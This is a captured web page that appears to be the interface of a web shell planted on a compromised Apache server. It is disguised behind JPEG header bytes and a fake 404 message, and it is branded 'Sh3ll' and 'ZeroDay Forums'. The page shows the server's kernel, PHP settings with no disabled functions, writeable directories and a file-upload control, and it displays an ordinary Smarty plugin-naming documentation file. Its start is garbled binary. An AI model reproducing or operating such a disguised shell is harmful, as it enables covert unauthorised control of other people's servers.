����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/vendor/smarty/smarty/docs/programmers/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/netphim/vendor/smarty/smarty/docs/programmers/plugins/plugins-naming-conventions.md
Naming Conventions {#plugins.naming.conventions}
==================

Plugin files and functions must follow a very specific naming convention
in order to be located by Smarty.

**plugin files** must be named as follows:

> `
>         type.name.php
>        `

-   Where `type` is one of these plugin types:

    -   function

    -   modifier

    -   block

    -   compiler

    -   prefilter

    -   postfilter

    -   outputfilter

    -   resource

    -   insert

-   And `name` should be a valid identifier; letters, numbers, and
    underscores only, see [php
    variables](https://www.php.net/language.variables).

-   Some examples: `function.html_select_date.php`, `resource.db.php`,
    `modifier.spacify.php`.

**plugin functions** inside the PHP files must be named as follows:

> `smarty_type_name`

-   The meanings of `type` and `name` are the same as above.

-   An example modifier name `foo` would be
    `function smarty_modifier_foo()`.

Smarty will output appropriate error messages if the plugin file it
needs is not found, or if the file or the plugin function are named
improperly.

ZeroDay Forums Mini